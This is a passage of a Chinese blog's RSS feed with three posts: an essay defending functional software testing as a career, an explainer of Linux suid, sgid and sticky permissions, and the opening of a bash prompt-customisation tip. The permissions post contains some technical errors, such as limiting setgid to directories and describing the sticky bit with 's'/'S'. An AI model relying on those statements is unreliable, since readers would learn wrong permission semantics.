0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　之后，我就入职另一家软件公司。当时，入职的职务是测试员，但公司的测试基本上和我第一次接触软件测试工作时的水平差不多。于是，我就从最基础的<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">缺陷管理</strong></u></a>、<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">测试用例</strong></u></a>、测试流程、测试规范、测试标准等等，一步步的将公司的测试规范建立起来，而我也因此成为了公司的测试部门经理。从测试员到测试部门经理，在这短短的八个月的时间里，可以说我取得的每一次进步，掌握的每一种知识，均来源于51testing和QQ群。可以说，如果没有这些交流平台，就不可能有系统化<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">学习</strong></u></a>的机会。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　为了挑战质量要求更高的项目，我离开了家乡，加入了现在的团队。这是一支由150多名技术人员组成的团队，其中，测试人员有20人。我入职的职务是测试组长，两周后任质量经理，八个月后任测试总监。从各种测试标准的制定到测试规范的建立，再到测试体系的建立；从团队战略发展方向到团队梯队建设再到测试知识库的筹建；从技术培训到团队成员职业规划；三年来 ，我和这支团队一起成长。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　从业近十年，参与的项目十余个，其中千万级以上的项目三个。项目涉及MIS、HIS、GIS、OA、三维应用、BI、SOA、应用系统集成等诸多方向，其测试类型包括：<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">功能测试</strong></u></a>、<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">性能测试</strong></u></a>、接口测试。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　说了这么多，大家一定以为我写跑题了，其实不然。之所以描述自己的成长经历，是想告诉大家我的体会来源于我的经历。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　无论是在各种测试论坛上，各个测试QQ群中，还是在招聘时的应聘人员。我经常会遇到这种问题，相信大多数同行们也都遇到过。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　1、做功能测试有前途么？<br style="word-break: break-all; line-height: normal !important; " />　　2、做<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">黑盒测试</strong></u></a>有前途么？<br style="word-break: break-all; line-height: normal !important; " />　　3、我现在只能做功能测试，但我今后一定要做<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">自动化测试</strong></u></a>、性能测试！<br style="word-break: break-all; line-height: normal !important; " />　　4、你们公司上自动化了么？<br style="word-break: break-all; line-height: normal !important; " />　　5、我会<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">QTP</strong></u></a>、LR。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　广大测试同行在投简历时，也一定常见这种职位要求：要求熟练掌握LR、QTP、QC、TD、Bugzilla等工具之一。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　咱们先说说后面这种情况。一个公司在选择测试人员时，竟然将这些测试工具作为选人标准之一。我想问这样招聘的公司几个问题：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　1、贵公司的产品适合上自动化么？<br style="word-break: break-all; line-height: normal !important; " />　　2、贵公司的管理水平达到上自动化的要求了么？<br style="word-break: break-all; line-height: normal !important; " />　　3、LR能完全支撑贵公司产品的性能测试么？<br style="word-break: break-all; line-height: normal !important; " />　　4、贵公司一年能有多少项目需要做性能测试？<br style="word-break: break-all; line-height: normal !important; " />　　5、缺陷管理工具每个公司用的都不太一样，其缺陷管理流程是需要结合公司管理流程的，这种工具即便人家不会或没用过此类工具，你就不能培训么？很难么？</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　除非公司是在招聘对口的技术人才，否则，我只能认为这家公司的测试水平真的不咋的。甚至于写招聘要求的人，压根就不懂测试。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　咱们再来说说关于同行们对功能测试的误解。好多人都认为功能测试门槛低，没技术含量，好像提起来做功能测试就低人一等似得。如果你有这种意识，我只能说：兄弟，多干几年吧。我承认功能测试的入门门槛是低，但我不认为功能测试没技术含量。我甚至认为一个能把功能测试做好的测试人员，才是一个合格的质量负责人！</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　大家先别拍我，让我们来谈一下什么是软件测试。既然大家都是同行，相信大家都认同：&#8220;通过测试手段，在用户使用前，发现缺陷。&#8221;以及&#8220;软件中不可能没有缺陷。&#8221;这两句话。不错，测试是不能被穷举的，因此，我们也不可能发现软件中所有的缺陷。因此，我们是不是能够换句话说：&#8220;软件测试是通过一系列的测试手段，证明软件具备一定的质量。&#8221;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　如果你认同这一观点，那么我们再来谈谈功能测试的范围。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　狭义的功能测试：这点点，那点点，看看能不能正确打开页面、程序会不会崩溃、功能是不是能够正确实现等等。这也就是大家之所以认为功能测试没技术含量的根本原因。因为这种测试也得叫它功能测试。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　广义的功能测试：各种业务逻辑是否已正确实现？各种业务约束是否正确实现？各类特殊的数据是否能够正确处理？软件的容错机制如何？数据的完整性、唯一性、正确性是否已经通过测试？系统及数据的安全性是否已通过测试？软件的易用性是否满足用户的需要？等等等等。功能测试所包含的范围实在是太大。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　我没有贬低其他测试专业的意思，但有几点是需要说明的。随着各行各业对信息化建设的需求日益提高，其软件的规模和复杂度正在翻倍的提高。而功能测试的难度也随软件的复杂度逐日提高。而相对来说，<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">白盒测试</strong></u></a>依旧关注的是单个函数的代码逻辑以及异常的处理；自动化测试仅仅提高的是测试执行效率，测试质量依然是要靠功能测试用例来保障；性能测试其实关注的是业务发生的场景和如何生成负载和收集监控指标，其变化就是需要监控的对象更多，影响因素更为复杂。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　面对规模庞大，业务逻辑愈来愈复杂的系统，保障其软件质量，就需要广大功能测试人员具备更强的逻辑分析、设计能力；掌握更多的业务知识及技术。同时，由于当前国内绝大多数企业对测试工作的认知程度不足，大多数测试工作都是在时间紧、任务重的条件下完成的。那么，在有限的条件下，如何能够提高软件产品的质量，即：如何证明软件具备了一定的质量。将是所有软件质量负责人首先考虑的问题。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　在这种前提下，我认为，一个好的功能测试工程师应具备丰富的行业知识（专家级），极强的逻辑分析能力，精于业务架构、测试架构、<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">数据库</strong></u></a>、测试用例的设计。公司的产品质量，取决于测试负责人的组织能力及团队成员的技术能力，因此，功能测试工程师在测试团队中不可或缺。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　无论是白盒测试、自动化测试、性能测试，都是不同的测试手段，但功能测试却是产品质量的根本保障！ 请广大正在从事功能测试的同行们，正视自己的工作，认真对待，不要气馁或轻视自己的工作。将自己手头上的事做好，人生的每一段经历都将是你的财富！</p></div><img src ="http://www.blogjava.net/qileilove/aggbug/377246.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2012-05-03 10:04 <a href="http://www.blogjava.net/qileilove/archive/2012/05/03/377246.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux下的高级权限文件控制</title><link>http://www.blogjava.net/qileilove/archive/2011/11/24/364742.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Thu, 24 Nov 2011 08:47:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2011/11/24/364742.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/364742.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2011/11/24/364742.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/364742.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/364742.html</trackback:ping><description><![CDATA[<div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　在企业内网的开发环境方面，文件服务器是一个非常重要的环节。其中，Samba服务器由于其权限控制的高度灵活性，最初<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">学习</strong></u></a>时确实会让大家感到很迷惑，但我们可以先搭建一些简单的案例来掌握其语法。本节主要是介绍<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">Linux</strong></u></a>下的高级权限suid、sgid、sticky三种权限的特点。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　很多人都很奇怪，为什么我们需要学习这三种权限呢？因为在实际<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">工作</strong></u></a>中我们发现，如果不了解这些特殊权限会让我们对Linux权限的理解（尤其是加上Samba权限后）尤为困难，所以我们必须要学习并了解它们。下<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">面试</strong></u></a>图用浅显的讲解，让大家能充分理解这三种权限的作用。理解了它们，再理解Samba的权限控制就更容易了。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　注意　Samba的权限由两方面构成：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　一是目录本身的权限；二是Samba的配置权限。最终权限的定义是两者的最小交集。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　我们接着来理解这3种权限：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　1）一个文件都有一个所有者，表示该文件是谁创建的。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　2）如果同时该文件还有一个组编号，则表示该文件所属的组一般为文件所有者所属的组。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　3）如果是一个可执行文件，那么在执行时，一般该文件只拥有调用该文件的用户所具有的权限。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　权限标志通过以下3个&#8220;位&#8221;来定义。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　setuid：设置使文件在执行阶段具有文件所有者的权限。比如/usr/bin/passwd，如果是一般用户执行该文件，则在执行过程中，用户通过该文件可以获得root权限，从而可以更改用户的密码。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　setgid：该权限只对目录有效。目录被设置该权限后，任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　sticky：该位可以理解为防删除位。一个文件是否可以被某用户删除，主要取决于该文件所属的组是否对该用户具有写权限。如果没有写权限，则这个目录下的所有文件都不能被删除，同时也不能添加新的文件。如果希望用户能够添加文件但同时又不删除文件，则可以对文件使用sticky bit位。设置该位后，就算用户对目录具有写权限也不能删除该文件。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　下面介绍一下三种权限的特点。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">　　（1）sticky的特点</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　sticky只能应用在目录上，并且是应用在<a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">其他</strong></u></a>人的目录上。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　只有root和文件的拥有者才能删除该文件。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　小写s表示能执行，大写S表示不能执行。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　它的其他特点大家可以参考/tmp目录。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "><strong style="word-break: break-all; line-height: normal !important; ">　　（2）setuid的特点</strong></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　setuid只能应用在二进制文件中。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　当一个文件应用了setuid，那么任何人在执行该命令的时候就能临时拥有该文件拥有人的权限。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　setuid只能应用在文件的拥有者上。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　小写s表示能执行，大写表示S不能执行。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　它的其他特点大家可以参考/usr/bin/passwd目录。</p></div><img src ="http://www.blogjava.net/qileilove/aggbug/364742.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2011-11-24 16:47 <a href="http://www.blogjava.net/qileilove/archive/2011/11/24/364742.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux如何改进系统命令行工具</title><link>http://www.blogjava.net/qileilove/archive/2011/11/08/363181.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Tue, 08 Nov 2011 07:39:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2011/11/08/363181.html</guid><description><![CDATA[<div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　如果您很容易使&nbsp;<a href="http://www.51testing.com/?action-viewnews-itemid-248327" target="_self" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">shell</strong></u></a>&nbsp;提示行变得色彩绚烂且带有更多信息，为什么还要坚持用烦人的标准提示行呢？在这篇技巧中，Daniel Robbins 将说明如何获得符合您的意愿的 shell 提示行，并会说明如何动态更新 xterm 的标题栏。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　作为 Linux/UNIX 人，我们有很长的时间是在 shell 中<a href="http://www.51testing.com/?action-viewnews-itemid-248327" target="_self" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">工作</strong></u></a>，并且在许多情况下，下面这一行就是始终盯着我们的那个提示行：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　bash-2.04$</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　如果您恰巧是超级用户 (root)，您就有权使用下面这个美丽的标示&#8220;身份&#8221;的提示行版本：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　bash-2.04#</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　这些提示行并不是十分漂亮。这也就难怪几种&nbsp;<a href="http://www.51testing.com/?action-viewnews-itemid-248327" target="_self" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">Linux</strong></u></a>&nbsp;版本对默认提示行进行了升级，在其中增加了颜色和更多的信息。但是，即便您恰好有一个本身带有很好的彩色提示行的新式版本，它也不可能是完美无缺的。您或许希望在提示行中增加或更改几种颜色，或者增加(或删除)一些信息。从头开始设计属于您自己的彩色的、经过装饰的提示行并不难。</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　提示行基础</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　在 bash 下，可以通过更改 PS1 环境变量的值来设置提示行，如下所示：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　$ export PS1="&gt; " &gt;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　更改会立即生效，通过将 "export" 定义放在您的 ~/.bashrc 文件中可将这种更改固定下来。只要您愿意，PS1 可以包含任意数量的纯文本：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　$ export PS1="This is my super prompt &gt; " This is my super prompt &gt;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　尽管这很有趣，但在提示行中包含大量静态文本并不是特别有用。大多数定制的提示行包含诸如用户名、工作目录或主机名之类的信息。这些花絮信息可以帮助您在 shell 世界中遨游。例如，下面的提示行将显示您的用户名和主机名：</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　$ export PS1="\u@\H &gt; "<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#100;&#114;&#111;&#98;&#98;&#105;&#110;&#115;&#64;&#102;&#114;&#101;&#101;&#98;&#111;&#120;" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; ">drobbins@freebox</a>&gt;</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">　　这个提示行对于那些以多个不同名称的帐户登录多台机器的人尤为有用，因为它可以提醒您：您目前在哪台机器上操作，拥有什么权限。</p><p style="word-break: break-all; margin-top: 10px; 